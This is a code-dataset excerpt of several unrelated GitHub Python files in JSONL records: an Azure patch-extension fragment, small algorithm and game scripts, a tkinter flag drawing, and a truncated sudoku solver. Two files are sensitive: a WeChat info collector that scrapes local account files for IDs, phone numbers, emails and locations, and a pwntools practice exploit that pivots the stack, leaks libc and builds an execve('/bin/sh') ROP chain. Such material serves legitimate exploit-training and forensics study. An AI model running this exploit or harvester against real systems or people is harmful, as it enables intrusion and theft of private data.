process if it goes over that time \"\"\"\n self.logger.log(\"Verifying if previous patch operation is still in progress\")\n core_state_content = core_state_handler.read_file() if core_state_content is None else core_state_content\n if core_state_content is None or core_state_content.__getattribute__(self.core_state_fields.completed).lower() == 'true':\n self.logger.log(\"Previous request is complete\")\n return\n # verify if processes from prev request are running\n running_process_ids = process_handler.identify_running_processes(core_state_content.__getattribute__(self.core_state_fields.process_ids))\n if len(running_process_ids) != 0:\n is_patch_complete = self.check_if_patch_completes_in_time(prev_patch_max_end_time, core_state_content.__getattribute__(self.core_state_fields.last_heartbeat), core_state_handler)\n if is_patch_complete:\n self.logger.log(\"Previous request is complete\")\n return\n for pid in running_process_ids:\n self.logger.log(\"Previous request did not complete in time. Terminating all of it's running processes.\")\n process_handler.kill_process(pid)\n\n def check_if_patch_completes_in_time(self, time_for_prev_patch_to_complete, core_state_last_heartbeat, core_state_handler):\n \"\"\" Waits for the previous request to complete in given time, with intermittent status checks \"\"\"\n if type(time_for_prev_patch_to_complete) is not datetime.datetime:\n raise Exception(\"System Error: Unable to identify the time to wait for previous request to complete\")\n max_wait_interval_in_seconds = 60\n current_time = datetime.datetime.utcnow()\n remaining_wait_time = time_for_prev_patch_to_complete - current_time\n # Computing seconds as per: https://docs.python.org/2/library/datetime.html#datetime.timedelta.total_seconds, since total_seconds() is not supported in python 2.6\n remaining_wait_time_in_secs = ((remaining_wait_time.microseconds + (remaining_wait_time.seconds + remaining_wait_time.days * 24 * 3600) * 10 ** 6) / 10 ** 6)\n core_state_content = None\n while remaining_wait_time_in_secs > 0:\n next_wait_time_in_seconds = max_wait_interval_in_seconds if remaining_wait_time_in_secs > max_wait_interval_in_seconds else remaining_wait_time_in_secs\n core_state_last_heartbeat = core_state_last_heartbeat if core_state_content is None else core_state_content.__getattribute__(self.core_state_fields.last_heartbeat)\n self.logger.log(\"Previous patch operation is still in progress with last status update at {0}. Waiting for a maximum of {1} seconds for it to complete with intermittent status change checks. Next check will be performed after {2} seconds.\".format(str(core_state_last_heartbeat), str(remaining_wait_time), str(next_wait_time_in_seconds)))\n time.sleep(next_wait_time_in_seconds)\n remaining_wait_time = time_for_prev_patch_to_complete - datetime.datetime.utcnow()\n remaining_wait_time_in_secs = ((remaining_wait_time.microseconds + (remaining_wait_time.seconds + remaining_wait_time.days * 24 * 3600) * 10 ** 6) / 10 ** 6) # Computing seconds as per: https://docs.python.org/2/library/datetime.html#datetime.timedelta.total_seconds, since total_seconds() is not supported in python 2.6\n # read CoreState.json file again, to verify if the previous processes is completed\n core_state_content = core_state_handler.read_file()\n if core_state_content.__getattribute__(self.core_state_fields.completed).lower() == 'true':\n return True\n return False\n","repo_name":"Azure/LinuxPatchExtension","sub_path":"src/extension/src/RuntimeContextHandler.py","file_name":"RuntimeContextHandler.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"42833844667","text":"import copy\r\n\r\ndef RangeIterator(main_lst, lis, max_sum):\r\n # if not lis:\r\n # yield main_lst\r\n\r\n if len(lis) == 1:\r\n if lis[0] < max_sum:\r\n main_lst.append(lis[0])\r\n yield main_lst\r\n\r\n else:\r\n temp = copy.deepcopy(main_lst)\r\n yield from RangeIterator(main_lst, lis[:1], max_sum)\r\n main_lst = copy.deepcopy(temp)\r\n yield from RangeIterator(main_lst, lis[1:], max_sum)\r\n main_lst = copy.deepcopy(temp)\r\n if lis[0] < max_sum:\r\n main_lst.append(lis[0])\r\n yield from RangeIterator(main_lst, lis[1:], max_sum-lis[0])\r\n\r\n\r\ndef bounded_subset(lis, max_sum):\r\n lis.sort()\r\n if not lis:\r\n yield []\r\n elif max_sum >= 0:\r\n yield []\r\n yield from RangeIterator([], lis, max_sum)\r\n\r\n\r\nif __name__ == '__main__':\r\n #simple cases - empty group\r\n print(\"Expected: [], Got\")\r\n print(\"Got:\")\r\n for i in bounded_subset([] , 0): #expected: []\r\n print(i, end=' ')\r\n print(\" \")\r\n\r\n #simple cases - size 1\r\n print(\"Expected: [], Got:\")\r\n for i in bounded_subset([1] , 0): #expected: []\r\n print(i, end=' ')\r\n print(\" \")\r\n\r\n print(\"Expected: [], [1], Got:\")\r\n for i in bounded_subset([1] , 3): #expected: [], [1]\r\n print(i, end=' ')\r\n print(\" \")\r\n\r\n\r\n #Simple cases - size 2\r\n print(\"Expected: [], [1], [2], [1,2], Got:\")\r\n for i in bounded_subset([1, 2] , 7):\r\n print(i, end=' ')\r\n print(\" \")\r\n\r\n # Simple cases - size 2\r\n print(\"Expected: [], [1], [2], Got:\")\r\n for i in bounded_subset([1, 2], 3):\r\n print(i, end=' ')\r\n print(\" \")\r\n\r\n print(\"Expected: [] [1] [2] [3] [4] [2, 3] [2, 4] [1, 2] [1, 3] [1, 4] [1, 2, 3], Got:\")\r\n for i in bounded_subset([1, 2, 3, 4] , 7):\r\n print(i, end=' ')\r\n print(\" \")\r\n for i in bounded_subset([1, 4, 6, 2] , 8):\r\n print(i, end=' ')","repo_name":"IlanaShukhman/Research-algorithms-EX3","sub_path":"question1.py","file_name":"question1.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14348466202","text":"from numpy import array\nimport numpy\nimport graphlab as gl\n\nCONVERGENCE_VALUE = 0.1\nNUM_NON_SUPERNODES = int(0.8 * 7944949)\n\ndef propagate(src, edge, dst):\n\tsrc['memVector'] += array([(edge['weight']/src['sumWeights']) * x for x in dst['prev']])\n\tdst['memVector'] += array([(edge['weight']/dst['sumWeights']) * x for x in src['prev']])\n\treturn (src, edge, dst)\n\ndef initialise(src,edge,dst):\n\tdst['prev'] = array(dst['prev'])*dst['isSuperNode']\n\tsrc['prev'] = array(src['prev'])*src['isSuperNode']\n\treturn (src,edge,dst)\n\ndef l2Norm(src,edge,dst):\n\tif numpy.linalg.norm(numpy.array(src['memVector']),ord=2) > 0.0:\n\t\tif numpy.linalg.norm(numpy.array(src['prev'])-numpy.array(src['memVector']),ord = 2) < CONVERGENCE_VALUE:\n\t\t\tsrc['isSuperNode'] = 1\n\tif numpy.linalg.norm(numpy.array(dst['memVector']),ord=2) > 0.0:\n\t\tif numpy.linalg.norm(numpy.array(dst['prev'])-numpy.array(dst['memVector']),ord = 2) < CONVERGENCE_VALUE:\n\t\t\tdst['isSuperNode'] = 1\n\treturn (src, edge, dst)\n\ndef updatePrev(src, edge, dst):\n\tif src['isSuperNode'] == 0:\n\t\tsrc['prev'] = src['memVector']\n\tif dst['isSuperNode'] == 0:\n\t\tdst['prev'] = dst['memVector']\n\treturn (src, edge, dst)\n\nif __name__ == '__main__':\n\tgraph = gl.load_sgraph(\"s3://sdurgam/GraphLab/Graph\")\n\tgraph = graph.triple_apply(initialise,mutated_fields=['prev'])\n\n\tconvergence = graph.vertices['isSuperNode'].sum()\n\n\twhile (convergence < NUM_NON_SUPERNODES):\n\t\tgraph = graph.triple_apply(propagate, mutated_fields=['memVector'])\n\t\tgraph = graph.triple_apply(l2Norm, mutated_fields=['isSuperNode'])\n\t\tgraph = graph.triple_apply(updatePrev, mutated_fields=['prev'])\n\t\tgraph.vertices['memVector'] = graph.vertices['memVector'].apply(lambda x: [0.0] * 92000)\n\t\tconvergence = graph.vertices['isSuperNode'].sum()\n\n\tgraph = graph.save(\"s3://sdurgam/GraphLab/Graph\")","repo_name":"sridurgam/QuickSocial","sub_path":"Algorithm execution/labelPropagation.py","file_name":"labelPropagation.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"13631209975","text":"from tkinter import *\nimport math as m\n\nt = Tk()\nt.title(\"Republica Democratica Congo\")\nt.geometry('600x600')\n\ncanvas = Canvas(\n t,\n height=600,\n width=600,\n bg='black'\n)\n\ncanvas.pack()\n\ndef star(centru_x, centru_y, r):\n puncte = [\n centru_x-int(r*m.sin(2*m.pi/5)),\n centru_y-int(r*m.cos(2*m.pi/5)),\n centru_x+int(r*m.sin(2*m.pi/5)),\n centru_y-int(r*m.cos(2*m.pi/5)),\n centru_x-int(r*m.sin(2*m.pi/10)),\n centru_y+int(r*m.cos(2*m.pi/10)),\n centru_x,\n centru_y-r,\n centru_x+int(r*m.sin(2*m.pi/10)),\n centru_y+int(r*m.cos(2*m.pi/10)),\n ]\n canvas.create_polygon(puncte, fill='white', outline='white')\n\ncanvas.create_rectangle(80, 50, 480, 250, fill='#FFD100', outline='#FFD100')\ncanvas.create_polygon(480, 50, 480, 100, 80, 250, 80, 200, fill='#EF3340', outline='#EF3340')\ncanvas.create_polygon(80, 50, 460, 50, 80, 190, fill='#0085CA', outline='#0085CA')\ncanvas.create_polygon(100, 250, 480, 250, 480, 110, fill='#0085CA', outline='#0085CA')\nstar(135, 100, 40)\n\n\ncanvas.create_rectangle(50, 50, 80, 550, fill='brown', outline='black')\ncanvas.create_text(480, 550, text='Republica Democratica Congo', anchor=SE,\n fill='white', font=('Arial', '24'))\n\nt.mainloop()\n","repo_name":"BeginnerDuelist/UTM","sub_path":"Anu 1/Grafica pe Calculator/Examen Grafica pe Calculator/Drapeluri complexitate grea/congo.py","file_name":"congo.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14605466176","text":"# -*- coding: utf-8 -*-\nimport getpass\nimport re\nimport os\nimport requests\nimport sys\n\nprovinces = '''\n北京(BeiJing)\n\n上海(ShangHai)\n\n天津(TianJin)\n\n重庆(ChongQing)\n\n香港(XiangGang)\n\n澳门(Aomen)\n\n安徽(AnHui)\n\n福建(FuJian)\n\n广东(GuangDong)\n\n广西(GuangXi)\n\n贵州(GuiZhou)\n\n甘肃(GanSu)\n\n海南(HaiNan)\n\n河北(HeBei)\n\n河南(HeNan)\n\n黑龙江(HeiLongJiang)\n\n湖北(HuBei)\n\n湖南(HuNan)\n\n吉林(JiLin)\n\n江苏(JiangSu)\n\n江西(JiangXi)\n\n辽宁(LiaoNing)\n\n内蒙古(NeiMengGu)\n\n宁夏(NingXia)\n\n青海(QingHai)\n\n陕西(ShanXi)\n\n山西(ShanXi)\n\n山东(ShanDong)\n\n四川(SiChuan)\n\n台湾(TaiWan)\n\n西藏(XiZang)\n\n新疆(XinJiang)\n\n云南(YunNan)\n\n浙江(ZheJiang)\n\n'''\ncities = '''\n香港(XiangGang)\n东城区(dongcheng)\n西城区(xicheng)\n朝阳区(chaoyang)(zhaoyang)\n丰台区(fengtai)\n石景山区(shijingshan)\n海淀区(haidian)\n门头沟区(mentougou)\n房山区(fangshan)\n通州区(tongzhou)\n顺义区(shunyi)\n昌平区(changping)\n大兴区(daxing)\n澳门(AoMen)\n安庆(AnQing),亳州(BoZhou),蚌埠(BangBu),池州(ChiZhou),巢湖(ChaoHu),滁州(ChuZhou),阜阳(FuYang),合肥(HeFei),淮南(HuaiNan),淮北(HuaiBei),黄山(HuangShan),六安(LiuAn),马鞍山(MaAnShan),宿州(SuZhou),铜陵(TongLing),芜湖(WuHu),宣城(XuanCheng)\n\n福州(FuZhou),龙岩(LongYan),南平(NanPing),宁德(NingDe),莆田(PuTian),泉州(QuanZhou),三明(SanXing),厦门(XiaMen),漳州(ZhangZhou)\n\n潮州(ChaoZhou),东莞(DongGuan),佛山(FoShan),广州(GuangZhou),河源(HeYuan),惠州(HuiZhou),江门(JiangMen),揭阳(JieYang),梅州(MeiZhou),茂名(MaoMing),清远(QingYuan),深圳(ShenZhen),汕头(ShanTou),韶关(ShaoGuan),汕尾(ShanWei),云浮(YunFu),阳江(YangJiang),珠海(ZhuHai),中山(ZhongShan),肇庆(ZhaoQing),湛江(ZhanXiang)\n\n北海(BeiHai),百色(BaiSe),崇左(ChongZuo),防城港(FangChengGang),桂林(GuiLi),贵港(GuiGang),贺州(HeZhou),河池(HeChi),柳州(LiuZhou),来宾(LaiBin),南宁(NanNing),钦州(QinZhou),梧州(WuZhou),玉林(YuLin)\n\n安顺(AnShun),贵阳(GuiYang),六盘水(LiuPanShui),遵义(ZunYi)\n\n白银(BaiYin),金昌(JinChang),嘉峪关(JiaYuGuan),酒泉(JiuQuan),兰州(LanZhou),庆阳(QingYang),天水(TianShui),武威(WuWei),张掖(ZhangYe)\n\n海口(HaiKou),三亚(SanYa)\n\n保定(BaoDing),承德(ChengDe),沧州(CangZhou),邯郸(HanDan),衡水(HengShui),廊坊(LangFang),秦皇岛(QinHuangDao),石家庄(ShiJiaZhuang),唐山(TangShan),邢台(XingTai),张家口(ZhangJiaKou)\n\n安阳(AnYang),焦作(JiaoZuo),开封(KaiFeng),洛阳(LuoYang),鹤壁(HeBi),漯河(LuoHe),南阳(NanYang),平顶山(PingDingShan),濮阳(PuYang),三门峡(SanMenXia),商丘(SHangQiu),新乡(XinXiang),许昌(XuChang),信阳(XinYang),郑州(ZhengZhou),周口(ZhouKou),驻马店(ZhuMaDian)\n\n大庆(DaQing),哈尔滨(HaErBin),鹤岗(HeGang),黑河(HeiHe),鸡西(JiXi),佳木斯(JiaMuSi),牡丹江(MuDanJiang),齐齐哈尔(QiQiHaEr),七台河(QiTaiHe),绥化(SuiHua),双鸭山(ShuangYaShan),伊春(YiChun)\n\n鄂州(E'Zhou),黄石(HuangShi),黄冈(HuangGang),荆州(JingZhou),荆门(JingMen),十堰(ShiYan),武汉(WuHan),襄阳(XiangYang),孝感(XiaoGan),咸宁(XianNing),宜昌(YiChang)\n\n长沙(ChangSha),常德(ChangDe),郴州(ChenZhou),衡阳(HengYang),怀化(HuaiHua),娄底(LouDi),邵阳(ShaoYang),湘潭(xiangTan),岳阳(YueYang),益阳(YiYang),永州(YongZhou),株洲(ZhuZhou),张家界(ZhangJiaJie)\n\n白山(BaiShan),白城(BaiCheng),长春(ChangChun),吉林(JiLin),辽源(LiaoYuan),四平(SiPing),松原(SongYuan),通化(TongHua)\n\n常州(ChangZhou),淮安(HuaiAn),连云港(LianYunGang),南京(NanJing),南通(NanTong),苏州(SuZhou),宿迁(SuQian),泰州(TaiZhou),无锡(WuXi),徐州(XuZhou),盐城(YanCheng),扬州(YangZhou),镇江(ZhenJiang)\n\n抚州(FuZhou),赣州(GanZhou),景德镇(JingDeZhen),九江(JiuJiang),吉安(JiAn),南昌(NanChang),萍乡(PingXiang),上饶(ShangRao),新余(XinYu),鹰潭(YingTan),宜春(YiChun)\n\n鞍山(AnShan),本溪(BenXi),朝阳(ChaoYang),大连(DaLian),丹东(DanDong),抚顺(FuShun),阜新(FuXin),葫芦岛(HuLuDao),锦州(JinZhou),辽阳(LiaoYang),盘锦(PanJin),沈阳(ShenYang),铁岭(TieLing),营口(YingKou)\n\n包头(BaoTou),赤峰(ChiFeng),鄂尔多斯(E'ErDuoSi),呼和浩特(HuHeHaoTe),通辽(TongLiao),乌海(WuHai)\n\n固原(GuYuan),吴忠(WuZhong),银川(YingChuan)\n\n西宁(XiNing)\n\n安康(AnKang),宝鸡(BaoJi),汉中(HanZhong),商洛(ShangLuo),铜川(TongChuan),渭南(WeiNan),西安(Xi'An),延安(YaNan),咸阳(XianYang),榆林(YuLin)\n\n长治(ChangZhi),大同(DaTong),晋城(JinCheng),临汾(LinFen),朔州(ShuoZhou),太原(TaiYuan),忻州(XinZhou),阳泉(YangQuan),运城(YunCheng)\n\n滨州(BinZhou),东营(DongYing),德州(DeZhou),菏泽(HeZe),济南(JiNan),济宁(JiNing),莱芜(LaiWu),临沂(LinYi),聊城(LiaoCheng),青岛(QingDao),日照(RiZhao),泰安(TaiAn),潍坊(WeiFang),威海(WeiHai),烟台(YanTai),淄博(ZiBo),枣庄(ZaoZhuang)\n\n巴中(BaZhong),成都(ChengDu),德阳(DeYang),达州(DaZhou),广元(GuangYuan),广安(GuangAn),泸州(LuZhou),乐山(LeShan),绵阳(MianYang),眉山(MeiShan),内江(NeiJiang),南充(NanChong),攀枝花(PanZhiHua),遂宁(SuiNing),雅安(YaAn),宜宾(YiBin),自贡(ZiGong),资阳(Ziyang)\n\n高雄(GaoXiong),基隆(JiLong),嘉义(JiaYi),台北(TaiBei),台中(TaiZhong),新竹(XinZhu)\n\n拉萨(LaSa)\n\n克拉玛依(KeLaMaYi),乌鲁木齐(WuLuMuQi)\n\n保山(BaoShan),昆明(KunMing),玉溪(YuXi),昭通(ZhaoTong)\n\n杭州(HangZhou),湖州(HuZhou),嘉兴(JiaXing),金华(JinHua),丽水(LiShui),宁波(NingBo),衢州(QuZhou),绍兴(ShaoXing),台州(TaiZhou),温州(WenZhou),舟山(ZhouShan)\n'''\n\n# 判断操作系统\nos_name = os.name\nif os_name == \"nt\":\n os_name = \"windows\"\n flag = input(\"Do you want to collect all applets (yes/no): \")\n if flag == \"yes\":\n cookie = input(\"Please enter your cookie: \")\n token = input(\"Please enter your token: \")\n else:\n pass\n print(\"============================================\")\nif os_name == \"posix\":\n # linux/unix\n os_name = \"linux\"\n\n# 获取文件存储位置\nif os_name == \"windows\":\n import win32api\n import win32con\n\n reg_root = win32con.HKEY_USERS\n reg_path = \"\"\n\n key = win32api.RegOpenKey(reg_root, reg_path, 0)\n for item in win32api.RegEnumKeyEx(key):\n if len(item[0]) > 20 and \"Classes\" not in item[0]:\n sub_reg_path = item[0] + \"\\\\SOFTWARE\\\\Tencent\\\\WeChat\"\n try:\n key = win32api.RegOpenKeyEx(reg_root, sub_reg_path, 0)\n except Exception as e:\n continue\n try:\n value, key_type = win32api.RegQueryValueEx(key, 'FileSavePath')\n except Exception as e:\n value, key_type = win32api.RegQueryValueEx(key, 'InstallPath')\n value = value + \"\\\\locales\\\\WeChat Files\\\\\"\n # print(value)\n # 文件保存路径\n if value == \"MyDocument:\":\n # print(\"The default location of the file has not been changed\")\n username = getpass.getuser()\n file_path = \"C:\\\\Users\\\\\" + username + \"\\\\Documents\\\\WeChat Files\\\\\"\n # print(file_path)\n else:\n file_path = value\n\n # 获取用户文件\n try:\n # print(file_path)\n file_list = os.listdir(file_path)\n file_list.remove(\"All Users\")\n file_list.remove(\"Applet\")\n except:\n print(\"\\nfailed to find the path by the script\")\n print(\"Please enter the path of your [WeChat Files]\")\n print(\"You can find the path in your WeChat's setting\")\n print(\"It looks like [x:\\\\\\\\xxx\\\\xxx\\\\WeChat Files]\")\n file_path = input(\"The path : \") + \"\\\\\"\n file_list = os.listdir(file_path)\n file_list.remove(\"All Users\")\n file_list.remove(\"Applet\")\n\n# mac地址\nif os_name == \"linux\":\n file_list = []\n user_name = os.getlogin()\n file_path = \"/Users/\" + user_name + \"/library/containers/com.tencent.xinWECHAT/data/library/application \" \\\n \"support/com.tencent.xinWeChat/2.0b4.0.9/\"\n files_list = os.listdir(file_path)\n for file_name in files_list:\n if len(file_name) == 32:\n file_list.append(file_name)\n\n\ndef check_wxid_version(raw_info):\n global wxid_version\n if \"wxid_\" in raw_info:\n wxid_version = \"new_wxid\"\n else:\n wxid_version = \"old_wxid\"\n\n\n# info 未处理的精确结果\n# 传入文件地址\ndef get_info(user_file_name):\n if os_name == \"windows\":\n file = file_path + user_file_name + \"\\\\config\\\\AccInfo.dat\"\n file_size = os.path.getsize(file)\n if os_name == \"linux\":\n file = file_path + user_file_name + r\"/account/userinfo.data\"\n file_size = os.path.getsize(file)\n\n if file_size == 0:\n return\n\n with open(file, mode=\"r\", encoding=\"ISO-8859-1\") as f:\n # 处理raw数据\n raw_info = f.read()\n # 获取原始wxid的版本\n check_wxid_version(raw_info)\n if os_name == \"windows\":\n if wxid_version == \"new_wxid\":\n raw_info = raw_info[raw_info.find(\"wxid\"):]\n if wxid_version == \"old_wxid\":\n raw_info = raw_info\n if os_name == \"linux\":\n c_p_c = raw_info[:raw_info.find(\":\")]\n raw_info = raw_info[raw_info.find(\"wxid\"):]\n info = \"\"\n for char in raw_info:\n if \"\\\\\" not in ascii(char):\n info = info + str(char)\n else:\n info = info + \"`\"\n info_2 = list(set(info.split(\"`\")))\n info_2.sort(key=info.index)\n info = info_2\n info_list = []\n for x in info:\n if len(x) > 1:\n info_list.append(x)\n info = info_list\n if wxid_version == \"old_wxid\":\n for x in info:\n an = re.search(\"[a-zA-Z0-9_]+\", x)\n if len(x) >= 6 and len(an.group(0)) >= 6:\n d_list = r\"!@#$%^&*()+={}|:\\\"<>?[]\\;',./`~'\"\n flag_id = 0\n for i in x:\n if i in d_list:\n wxid = x.replace(i, \"\")\n flag_id = 1\n if flag_id == 0:\n wxid = an.group(0)\n break\n info = info[info.index(x):]\n info[0] = wxid\n\n if info != []:\n # 获取微信id\n try:\n wxid = info[0]\n print(\"The wxid : \" + wxid)\n except:\n pass\n\n # 获取城市\n if os_name == \"windows\":\n province = \"\"\n city = \"\"\n for misc in info:\n if misc.lower() in provinces.lower() and len(misc) >= 2:\n province = misc\n continue\n if misc.lower() in cities.lower() and len(misc) >= 2:\n city = misc\n continue\n try:\n if province != \"\":\n info.remove(province)\n if city != \"\":\n info.remove(city)\n except:\n pass\n\n if os_name == \"linux\":\n if \"CN\" in c_p_c:\n c_p_c = c_p_c.replace(\"CN\", \"\")\n c_p = c_p_c.split(\"\\\"\")\n c_p_flag = 1\n\n # 获取微信号\n # 微信号长度限制为6-20位, 且只能以字母开头\n try:\n for misc in info:\n if 6 <= len(misc) <= 20 and misc[0].isalpha() is True:\n wx = misc\n print(\"The wechat : \" + wx)\n info.remove(wx)\n except:\n print(\"The wechat : \" + wxid)\n\n # 获取手机号\n for misc in info:\n p_numbers = r\"[\\+0-9]+\"\n p = re.compile(p_numbers)\n numbers = re.search(p, misc)\n try:\n if \"+\" in numbers.group(0) and len(numbers.group(0) >= 6):\n number = numbers.group(0)\n else:\n p_numbers = r\"0?(13|14|15|17|18|19)[0-9]{9}\"\n p = re.compile(p_numbers)\n numbers = re.search(p, misc)\n number = numbers.group(0)\n except:\n continue\n if \"*\" in number:\n number = number.replace(\"*\", \"\")\n print(\"The phone : \" + number)\n try:\n info.remove(number)\n except:\n info.remove(number + \"*\")\n break\n\n # 获取疑似邮箱, 邮箱参考性极低\n for misc in info:\n if \"@\" in misc and len(misc) > 3 and \".\" in misc:\n email = misc\n break\n else:\n email = \"--\"\n if \"*\" in email:\n email_ = email.replace(\"*\", \"\")\n else:\n email_ = email\n print(\"The email maybe is : \" + email_)\n if email != \"--\":\n info.remove(email)\n\n if os_name == \"windows\":\n print(\"The city : \" + province + \" - \" + city)\n if os_name == \"linux\" and \"CN\" in c_p_c and c_p_flag == 1:\n print(\"The city : \" + c_p[0] + \" - \" + c_p[1])\n\n # 获取使用过的小程序\n if os_name == \"windows\":\n if flag == \"yes\":\n applet_list = []\n applet_path = file_path + user_file_name\n sub_applet_list = os.listdir(applet_path)\n if \"Applet\" in sub_applet_list:\n applet_path = file_path + user_file_name + \"\\\\Applet\"\n sub_applet_list = os.listdir(applet_path)\n for applet_name in sub_applet_list:\n if \"wx\" in applet_name:\n applet_list.append(applet_name)\n\n applet_search_url = r\"https://mp.weixin.qq.com/cgi-bin/operate_appmsg?sub=search_weapp\"\n headers = {\n \"Host\": \"mp.weixin.qq.com\",\n \"Connection\": \"close\",\n \"Content-Length\": \"39\",\n \"sec-ch-ua\": \"Not A;Brand\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"charset\": \"UTF-8\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"sec-ch-ua-mobile\": \"?0\",\n \"sec-ch ua-platform\": \"Windows\",\n \"Accept\": \"* / *\",\n \"Origin\": \"https://mp.weixin.qq.com\",\n \"Sec-Fetch-Site\": \"same-origin\",\n \"Sec-Fetch-Mode\": \"cors\",\n \"Sec-Fetch-Dest\": \"empty\",\n \"Referer\": \"https://mp.weixin.qq.com/cgi-bin/appmsg?t=media/appmsg_edit_v2&action=edit&isNew=1&type=77&token=\" + token + \"&lang=zh_CN\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh - CN, zh\",\n \"Cookie\": cookie\n }\n\n applets = []\n for key in applet_list:\n data = {\n \"key\": key,\n \"token\": token\n }\n\n req_json = requests.post(applet_search_url, headers=headers, data=data).json()\n applets.append(req_json[\"items\"][0][\"weapp\"][\"nickname\"])\n # print(req[\"items\"][0][\"weapp\"][\"nickname\"])\n print(\"The applets : \" + str(applets))\n\n # 获取历史头像网址\n head_url = []\n rm_url = []\n for misc in info:\n if \"http://\" in misc:\n index_http = misc.find(\"http\")\n misc_http = misc[index_http:]\n if \"*\" in misc_http:\n misc_2 = misc_http.replace(\"*\", \"\")\n head_url.append(misc_2)\n rm_url.append(misc)\n else:\n head_url.insert(-1, misc_http)\n rm_url.append(misc)\n if head_url != []:\n print(\"The history_head_img : \" + str(head_url))\n else:\n print(\"The history_head_img : --\")\n for url in rm_url:\n try:\n info.remove(url)\n except:\n info.remove(url + \"*\")\n\n # 杂项数据\n other_info = []\n for misc in info:\n if len(misc) > 30:\n if \"*\" in misc:\n misc = misc.replace(\"*\", \"\")\n if len(misc) > 30 or (len(misc) >= 2 and misc.isdigit() is True):\n other_info.insert(-1, misc)\n print(\"The other info : \" + str(other_info))\n print(\"\\n\" + \"--------------------------------------------\")\n\n\n# 理论来说2.0b4.0.9应该不会变\n# 这个命名从18年到现在似乎没变过, 所以就不麻烦写代码来获取了\n# 以后要是变了改了就是\nfor user_file_name in file_list:\n # try:\n if os_name == \"linux\":\n is_null = os.listdir(file_path + user_file_name)\n if \"Account\" in is_null:\n get_info(user_file_name)\n else:\n break\n if os_name == \"windows\":\n get_info(user_file_name)\n\nprint(\" 1. The email is very unreliable, you can ignore it\\n\",\n \"2. There are only cities of the mainland\\n\",\n \"3. The information in [The other info] is some ciphertext and abbreviation for region\\n\",\n \"4. There is some interference information in [The other info]\"\n )\n","repo_name":"lucky-ecat/wechat_info_collect","sub_path":"WeChat_info_collect_v3.4.1.py","file_name":"WeChat_info_collect_v3.4.1.py","file_ext":"py","file_size_in_byte":17675,"program_lang":"python","lang":"zh","doc_type":"code","stars":657,"dataset":"github-code","pt":"37"} +{"seq_id":"18701523791","text":"from pwn import *\n\ncontext.arch = 'amd64'\n\nr = process('./pivot')\ne = ELF('./pivot')\nlibc = e.libc\nprsp = 0x0000000000400b6d# : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret\nprdi = 0x0000000000400b73# : pop rdi ; ret\nmain = 0x0000000000400996\n\nr.recvuntil('place to pivot: ')\nstack_ptr = int(r.recv(14), 16)\nlog.info('stack_ptr: %#x' % stack_ptr)\nrop = []\nrop += [prdi, e.got['puts']]\nrop += [e.plt['puts']]\nrop += [main]\nr.sendlineafter('> ', 'A'*0x18+flat(rop))\nr.sendlineafter('> ', cyclic(0x28)+p64(prsp)+p64(stack_ptr))\n\nlibc_base = u64(r.recv(6)+'\\x00\\x00') - libc.symbols['puts']\nlog.info('libc_base: %#x' % libc_base)\nsystem = libc_base + libc.symbols['system']\nsh = libc_base + libc.search('/bin/sh\\x00').next()\nexecve = libc_base + libc.symbols['execve']\nprsi = libc_base + libc.search(asm('pop rsi;ret')).next()\nprdx = libc_base + libc.search(asm('pop rdx;ret')).next()\nprax = libc_base + libc.search(asm('pop rax;ret')).next()\n\n\n### second round ###\nr.recvuntil('place to pivot: ')\nstack_ptr = int(r.recv(14), 16)\nlog.info('stack_ptr: %#x' % stack_ptr)\n\nrop = []\nrop += [prdi, sh]\nrop += [prsi, 0]\nrop += [prdx, 0]\nrop += [prax, 0x3b]\nrop += [execve]\nr.sendlineafter('> ', 'A'*0x18+flat(rop))\nr.sendlineafter('> ', cyclic(0x28)+p64(prsp)+p64(stack_ptr))\n\nr.interactive()\n","repo_name":"Kyle-Kyle/practice","sub_path":"stack_pivoting/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71663492586","text":"# \"CLEAN CODE\" (you can copy any of these codes into your code editor\r\n# and run it to see how it works)\r\n\r\n# Be sure to check the README file for this program\r\n\r\nimport random as r\r\n\r\ndef start():\r\n print(\"Guess the number from range 1 to 10\")\r\n\r\ndef game():\r\n global rand_num\r\n rand_num = r.randint(1, 10)\r\n\r\ndef inputuser():\r\n global i\r\n i = 0 \r\n while True:\r\n input_user = int(input(\"Input a number: \"))\r\n # r.seed(r.random())\r\n if abs(input_user) <= 10 and abs(input_user) >= 1:\r\n \r\n i += 1\r\n\r\n if rand_num < input_user:\r\n print(\"The number is smaller...\")\r\n elif rand_num > input_user:\r\n print(\"The number is bigger...\")\r\n elif rand_num == input_user:\r\n print(\"Congrats! The number is correct.\", \"You have guessed \\\r\n the number after \", i, \" tries\")\r\n restart = str(input(\"Do you want to play again? (yes/no) \"))\r\n if restart.lower() == \"no\":\r\n print(\"Thanks for playing! Check more of Zophia Gomez in URL\")\r\n break\r\n elif restart.lower() == \"yes\":\r\n start()\r\n game()\r\n inputuser()\r\n else:\r\n print(\"Invalid number\")\r\n\r\nstart()\r\ngame()\r\ninputuser()","repo_name":"ZofiaGomez/Beginners-Practicing-Games-Python","sub_path":"Guess the number Game/Guess_The_Number_Game_CLEAN_CODE.py","file_name":"Guess_The_Number_Game_CLEAN_CODE.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32829172393","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# A sudoku Solver\n\ndef pss(sudoku):\n ''' Prints the sudoku(9x9matrix) in a string '''\n sol = []\n for row in sudoku:\n tmp = list(map(str, row))\n sol.append(''.join(tmp))\n\n return ''.join(sol)\n\ndef findEmptyPosition(sudoku, l):\n ''' Finds the first empty position,\n When 